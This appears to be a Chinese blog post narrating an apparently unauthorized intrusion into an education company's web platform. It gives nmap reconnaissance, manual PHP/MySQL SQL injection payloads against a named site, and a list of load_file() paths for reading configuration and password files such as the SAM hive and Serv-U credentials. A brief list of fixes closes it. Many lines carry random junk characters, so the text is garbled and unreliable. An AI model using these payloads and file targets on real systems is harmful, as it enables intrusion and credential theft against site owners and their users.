记一次Linux系统PHP注入入侵检测

admin

题记：
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
6 Q  j3 Y2 s) L, ^第一步：获取需要的信息
7 \9 }9 I; @# S由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
注：以下为保护特用XXX代替敏感信息
( k4 o+ J' [& O5 t1 F/ `顺手先PING了一下他们的域名：
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
# s5 ], r; ~5 G0 H) B64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
& G  o( j' [4 n3 d& i0 o. v0 m顺便了解一下TTL，学好基础知识才能一路顺风：
) M% C& V5 j4 }# G3 o- [TTL：(Time To Live ) 生存时间
0 s+ I+ S+ S1 }& B4 @- L( E指定数据包被路由器丢弃之前允许通过的网段数量。
* n" \* a5 a5 `TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
. K9 W! I0 O0 ]9 ~; _2 h一个为ICMP请求回显（ICMP Echo Request）
6 E: C) J# ~( X  _& T) j一个为ICMP回显应答（ICMP Echo Reply）
; _$ D3 |& u3 ]7 U6 R2 u: ITTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
8 T3 W/ v- ^$ k" j% |) ?' d微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然，返回的TTL值是相同的
9 c+ V& P) E1 z/ U. t但有些情况下有所特殊
1 t; c3 N) _& s" ^: h& d" HLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
4 w' A* U" \# o( ]FreeBSD 4.1, 4.0, 3.4;
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
OpenBSD 2.6, 2.7,
; P) S( i* t2 I$ L/ {0 G' G9 YNetBSD
. D2 N( q  `8 |( G9 J' H, _HP UX 10.20
! ~* n- u5 d8 A; f: HICMP 回显应答的 TTL 字段值为 255
  C; H& z* k" a' BWindows 95/98/98SE
( U8 t7 O* q1 d+ |" I/ K; NWindows ME
5 T8 X/ O# k& R& ^) \0 V+ u# KICMP 回显应答的 TTL 字段值为 32
Windows NT4 WRKS
Windows NT4 Server
. N, i  B! h! M# o: l! B; v3 C, zWindows 2000
2 G9 |$ W" f( T- e. A+ Q0 p/ V( eWindows XP
# |, y( ?0 ]6 ]! WICMP 回显应答的 TTL 字段值为 128
$ N* b  p6 `7 |# T% P4 @这样，我们就可以通过这种方法来辨别操作系统
! T& }: I) m8 N: r% [6 M) Y" b/ }% y# bTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
用NMAP扫描一下：
nmap -sT -O XXX.XXX.XXX.XXX
( W1 N) {* ^$ z- V/ g如果没有装WinPcap则会弹出提示：
! O$ E, y9 N% K0 D9 tWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
) mode — Nmap may not function completely
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
$ ~2 g# B1 R  n' Q4 \7 [# P; Bpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
3 h4 r4 O" m2 u: `4 m) p& rersions, you may be able to take iphlpapi.dll from another system and place it i
, |, ~2 ?" H+ [8 p7 G! T$ on your system32 dir (e.g. c:\windows\system32).
QUITTING!
; _5 n( E$ Y6 j% G* ]; B; G到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
# K* i* L- M& S4 |) l9 gInteresting ports on XXX.XXX.XXX.XXX:
Not shown: 986 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
) m: S8 I5 ?* y0 P# T+ P22/tcp   open     ssh
23/tcp   open     telnet
80/tcp   open     http
111/tcp  open     rpcbind
+ ~( U" ?2 J( [$ a0 r1 {135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
513/tcp  open     login
514/tcp  open     shell
593/tcp  filtered http-rpc-epmap
( Z+ g$ w3 e4 `, G2 I) G1720/tcp filtered H.323/Q.931
) w! J2 {" j' u' I0 {6 V& ~; b3306/tcp open     mysql
4444/tcp filtered krb524
, j( H8 V2 H0 ADevice type: WAP
9 {# C0 d8 v* J4 a5 G7 |, CRunning: Linux 2.4.X
$ L" |+ R) Q4 t1 s6 ]) k' _OS details: DD-WRT (Linux 2.4.35s)
' e# }2 ]1 G: i, y& ?Network Distance: 13 hops
: ?; m, q2 P9 ], J6 Z看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
; b6 \6 p/ a$ y! m% o2 n, j/ Wlogin as:
Telnet23端口也是开着的，用telnet 命令链接一下：
telnet XXX.XXX.XXX.XXX
提示：
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
+ D! r- k! q! F8 c) |Kernel 2.6.18-92.el5PAE on an i686
login:
$ f  p4 K" |. ?获取HTTP头信息：
  t* G" ^+ k3 _3 P) ^) q$ E在本地执行如下PHP代码
5 k) K5 U: F6 S. X) u4 b<?php
/ _: D  C4 u& P7 K; @$url = ‘XXX.XXX.XXX.XXX’;
, I" L, i! h6 J- hprint_r(get_headers($url));
$ B1 n  D# P& M8 e5 k/ w* b9 n* M% Bprint_r(get_headers($url, 1));
: a: _. b, _/ j?>
& m7 K  N6 [  m将以上代码保存为PHP文件，执行：
/ F1 f: }" o5 S3 o, n. ^1 c& }Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
; c4 X9 ~0 R" ?现在可以得出结论：
# ?4 I9 e: N8 c0 _3 X& F7 {" P5 \系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
! j% V, Z+ a8 f; e6 v$ [/ V  j内核版本：Kernel 2.6.18-92.el5PAE on an i686
WEB服务器版本：nginx/0.7.61
/ d! C7 r' O8 Y# ^8 f第二步，开始测试寻找漏洞
; M3 n8 g) n) t$ M0 S分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
1 l+ x4 U# j8 Q1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
, v' I9 B, H$ h( Y) Y% G2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
% p  b; Q  R$ nhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
+ O* [8 e* }2 M6 p3、手工注入：
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
3.1 猜测当前表字段数
# e1 B1 [( s( F0 u5 Whttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
% _8 J8 N+ B& P  t) _# b此处猜测有个简单的算法，都是有技巧的吗，呵呵
4 x' `! {5 k, U4 y) j% @" B算法简单如下：
) I  X: M2 R2 p9 [# x+ i$ ]/ Z+ a第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
' y' \# y2 U& g# i2 h% D  W第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
) L% N3 Y6 q2 q* e7 P! Z需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
4 D; t6 N, I: U5 h6 `% _1 G/ A以此来判断，是否过界，配合取中算法猜出字段数。
举例：
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
5 v8 L5 i% X0 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
, e* j4 @9 }1 W9 U1 j0 W此时3则为我们要找的字段数。
3.2 配合union联合查询字段在页面所位置
; d2 \' T$ S" ?: N* b我们已经知道了字段数为3，此时则可以做如下操作：
; h* r, c& c! X4 O9 B1 Chttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
3 f, ]$ E$ g9 _. i3 X2 m0 f# c0 w
& b+ z6 i$ h- E8 A9 R' D这样就可以测试到哪些字段在页面上有所显示了，如图：

) m4 Y, l: J! e3.3 查敏感信息
2 }9 l9 ?8 Y: T  Q这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
7 ]1 T1 @- K5 G# chttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
5 i! w. Q- K, X; U4 d5 G3.3.1 先查数据库用户、数据库名，以备后用，如图：
7 @4 J" ~9 I& \
得到数据库用户为root、数据库名为DBxx；
3.3.2 查配置文件
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
查看文件有一定的条件限制：
欲读取文件必须在服务器上
$ a  k. d2 g! v; W- m$ R& v% c- z必须指定文件完整的路径
9 G* Y3 N5 \: E$ A4 D4 s+ j0 [必须有权限读取并且文件必须完全可读
3 p/ r: K$ Q% ?3 x$ ]2 B; I欲读取文件必须小于 max_allowed_packet
* r3 C+ _1 |( e! C* y! q; FMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
常用的一些：
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
. c8 ?' y1 B- g/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  t% {5 A' v$ g; t% w9 N/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
& z. U! ]6 e$ x2 Q! w0 ?/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
  l( \4 L, Z4 b6 x  s/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/ q5 E7 [0 p: A/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
7 V5 a% f* N1 ^- G. H0 ?6 `  m/etc/issue
/etc/issue.net
* m& q& e, E) q- F# x6 Uc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
" L9 C2 @5 K3 \% a$ \) {" k7 v. Ac:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 q. ~0 R2 k- E9 {$ I8 B; Y- s等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
* j2 N' B5 n$ |c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
最后：防范措施
1、修复PHP注入漏洞；
2、Mysql使用普通权限的用户；
3、升级linux内核至最新版本；